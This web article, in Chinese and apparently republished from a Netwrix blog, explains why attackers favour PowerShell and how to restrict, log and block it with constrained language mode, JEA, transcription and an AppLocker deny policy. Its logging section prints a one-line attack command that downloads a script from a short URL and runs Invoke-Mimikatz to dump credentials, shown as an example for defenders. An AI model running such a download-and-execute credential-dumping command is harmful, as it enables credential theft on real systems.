当前位置:网站首页 > 更多 > 玩电脑 > 正文

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

作者:精品下载站 日期:2024-12-14 20:35:43 浏览:13 分类:玩电脑

检测和缓解 PowerShell 攻击的关键步骤


有句老话说:“一个人的工具就是另一个人的武器”。 Windows PowerShell 确实如此。如今每个 Windows 操作系统都包含这种强大的命令行 shell 和脚本语言,IT 专业人员使用它来进行系统管理、远程管理、网络安全、软件开发等。

另一方面,威胁行为者利用它来帮助他们实现恶意行为,例如恶意软件传送、勒索软件部署和数据泄露。本文解释了为什么 PowerShell 对攻击者如此有用,并提供了保护 IT 环境的宝贵策略。

为什么 PowerShell 如此受欢迎的攻击平台?

那么为什么如此多的网络犯罪分子使用 PowerShell 来发起攻击呢?一方面,它是免费的。其他原因包括:

  • 大多数企业用户都在其 Windows 端点设备上启用了 PowerShell。
  • PowerShell 使用无文件方法,直接在内存中执行命令和脚本,使其难以检测。
  • 它可以通过启动远程连接来访问几乎任何 Windows 设备。
  • 威胁参与者可以使用其他恶意工具(例如 Empire、DeathStar 和 CrackMapExec)来利用 PowerShell。
  • GitHub 和其他地方(例如 Invoke-Mimikatz)上有大量脚本可供攻击者使用。

一旦攻击者在本地环境中获得初始访问权限,他们就可以使用 PowerShell 来了解您的网络并横向移动以访问您最敏感的数据和其他 IT 资源。

如何降低 PowerShell 的风险

由于PowerShell被用于多种不同类型的攻击,因此必须实施保护措施来打击其恶意使用。让我们看看一些降低 PowerShell 引发的威胁风险的方法。

限制本地管理员权限

在零信任网络时代,标准用户不应该拥有其设备的本地管理员权限,除非他们的工作需要。虽然拒绝本地管理员权限不会限制对 PowerShell 的访问,但它确实限制了用户(或已泄露其帐户的对手)可以使用 PowerShell 执行的操作,因为许多 PowerShell 命令和脚本需要提升权限才能工作。此外,拒绝本地管理员权限将限制用户对敏感文件夹和系统设置的访问。

使用受限语言模式

Windows PowerShell 支持各种语言模式,这些模式确定可以使用 PowerShell 的哪些部分。约束语言模式是为 Windows RT 操作系统开发的,后来添加到 Windows PowerShell V5,目前已用于所有现代 Windows 操作系统。

您可以在完整语言模式下启动 PowerShell 会话,如下所示:

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

您可以使用以下命令将 PowerShell 会话置于受限语言模式:

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

在受限语言模式下,PowerShell 仅限于一组有限的命令和脚本。超出这些限制的命令执行将被阻止,如下例所示:

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

受限语言模式还限制对某些 PowerShell 功能的访问,例如 PowerShell 配置文件的使用以及加载其他 PowerShell 模块的能力。总的来说,这些限制有助于防止黑客使用 PowerShell 绕过系统安全措施。

不幸的是,这种保护措施有一个明显的弱点:用户可以简单地启动一个新的 PowerShell 会话,默认情况下该会话将以完整语言模式运行并具有对 PowerShell 功能的完全访问权限。

使用 PowerShell 进行足够的管理 (JEA)

PowerShell Just Enough Administration 允许您强制执行基于角色的系统来执行管理任务。将 JEA 视为 PowerShell 的最小权限安全原则。当用户开始 JEA 会话时,他们会被分配一种受限形式的 PowerShell,仅允许他们执行与其角色相关的任务和命令。这可以防止他们执行不需要的特权命令。

启用 JEA 是一个多步骤的过程。第一步是创建角色兼容性,文件如下所示:

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

然后,您需要编辑 .prsc 文件并定义角色的特定功能,例如允许用户执行特定命令。其他步骤包括创建会话配置文件,然后使用该文件在本地计算机上注册新的 JEA 端点。

获得活动的可见性

您需要了解 IT 环境中发生的情况。一种选择是使用 Windows 事件转发 (WEF),这是 Windows 操作系统中的一种免费工具,可以从分布式系统收集和集中事件日志。第三方方法是安全信息和事件管理 (SIEM) 解决方案。 SIEM 可以从大量不同的系统中收集数据,并将这些数据聚合起来,以提供对整个环境中发生的情况的全面洞察。

您还应该启用 PowerShell 系统范围的记录,这将记录指定系统上的所有 PowerShell 活动,以便可以查看已执行的命令。这对于审计和取证调查很有帮助。要启用 PowerShell 系统范围的转录,请创建一个组策略对象 (GPO),转到“计算机配置”>“管理模板”>“Windows 组件”>“PowerShell”,然后打开启用 PowerShell 转录,如下所示:

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

使用 AppLocker 禁用 PowerShell 和脚本

AppLocker 随 Windows 10 Enterprise 一起提供,并提供了一种将应用程序和脚本列入白名单的有用方法。它可以在系统本地进行配置,也可以通过组策略进行配置。要使用组策略,请创建 GPO,转至计算机配置 > Windows 设置 > 安全设置 > 应用程序控制策略 > AppLocker。创建可执行规则并选择拒绝,如下所示:

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

您可以通过发布者、文件路径或文件哈希来阻止应用程序。下面的示例策略按文件哈希进行阻止,并仅允许本地管理员运行 PowerShell;任何其他用户的访问都将被阻止。

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

然后,您可以使用组策略分发策略,或将其导出为 XML 文件并将其导入到 MDM(例如 Intune)中。导出策略的 XML 代码如下所示:

<AppLockerPolicy Version="1">
  <RuleCollection Type="Exe" EnforcementMode="NotConfigured">
    <FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
      <Conditions>
        <FilePathCondition Path="*" />
      </Conditions>
    </FilePathRule>
    <FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">
      <Conditions>
        <FileHashCondition>
          <FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />
        </FileHashCondition>
      </Conditions>
    </FileHashRule>
  </RuleCollection>
  <RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
  <RuleCollection Type="Script" EnforcementMode="NotConfigured" />
  <RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
  <RuleCollection Type="Appx" EnforcementMode="NotConfigured" />
</AppLockerPolicy>

您还可以使用脚本规则策略,使用简单的 PowerShell 脚本为指定文件夹创建允许规则,以确保只能执行指定文件夹中的文件,如下所示:

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

使用脚本块日志记录检测恶意 PowerShell

PowerShell 5 引入了多种新技术来跟踪恶意 PowerShell 脚本。其中之一是脚本块日志记录。 PowerShell 5 默认启用此级别的日志记录,并提供 PowerShell 执行的完整脚本的明文日志记录。这很有用,因为许多 PowerShell 攻击利用难以破译的编码脚本。

让我们看一下攻击者可能尝试隐藏其脚本的一种方法,即使用如下脚本下载并运行 Invoke-Mimikatz:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

使用 PowerSploit 和 Out-EncodedCommand,攻击者可以创建该命令的编码版本,该版本更加混淆:

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

但是,PowerShell 事件日志仍然准确显示运行的内容,无需任何编码:

[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤

Netwrix 如何提供帮助

虽然组织可以使用这些缓解和检测策略来监控和防范恶意脚本,但也有第三方产品可以简化这项工作。 Netwrix Privilege Secure for Endpoints 可以轻松创建允许和拒绝列表,以自动阻止用户运行不需要的应用程序,包括 PowerShell。此外,此工具使您能够删除本地管理权限,同时仍然允许用户执行高生产力所需的管理任务。

PowerShell 是一个强大的工具。确保采取适当的预防措施,以确保对手无法轻易使用它来对付您。

您需要 登录账户 后才能发表评论

取消回复欢迎 发表评论:

关灯